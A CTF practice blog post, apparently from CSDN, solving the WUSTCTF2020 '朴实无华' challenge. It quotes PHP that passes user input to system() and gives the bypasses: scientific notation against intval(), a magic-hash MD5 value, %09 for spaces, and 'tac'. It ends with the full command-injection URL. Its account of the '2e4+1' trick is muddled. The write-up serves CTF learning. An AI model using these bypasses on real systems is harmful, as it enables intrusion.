[BUUCTF]刷题记录6

最新推荐文章于 2024-07-24 14:05:52 发布

huamanggg

最新推荐文章于 2024-07-24 14:05:52 发布

阅读量458

点赞数 1

分类专栏：刷题记录

本文链接：https://blog.csdn.net/m0_51078229/article/details/115423936

版权

这篇博客记录了作者在不同CTF比赛中遇到的挑战和解决方案，包括目录扫描、科学记数法绕过intval函数、MD5加密的特殊性质、类型转换后的MD5绕过、命令注入的多种方法、布尔盲注和二分法应用、PHP函数的反序列化利用，以及Unicode编码漏洞的利用。

摘要由CSDN通过智能技术生成

[WUSTCTF2020]朴实无华

目录扫描
intval函数的科学记数法绕过
MD5加密后与加密前相等

直接去扫目录，扫到了fl4g.php
在这里插入图片描述

if (isset($_GET['num'])){
   
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
   
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
   
        die("金钱解决不了穷人的本质问题");
    }
}else{
   
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
   
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
   
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
   
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
   
        die("快到非洲了");
    }
}else{
   
    die("去非洲吧");
}
?>

第一层，利用科学计数法，2e4，当进行2e4+1的时候就变成了2e41，这样就绕过了这个函数

第二层，$md5==md5($md5)，意思是md5加密前后相等，之前有做到过，用的是

第三层，第一个if就不要有空格，可以用%09来绕过，然后就是一个str_ireplace()函数
在这里插入图片描述
用tac就可以了

/fl4g.php/?num=2e4&md5=0e215962017&get_flag=tac%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag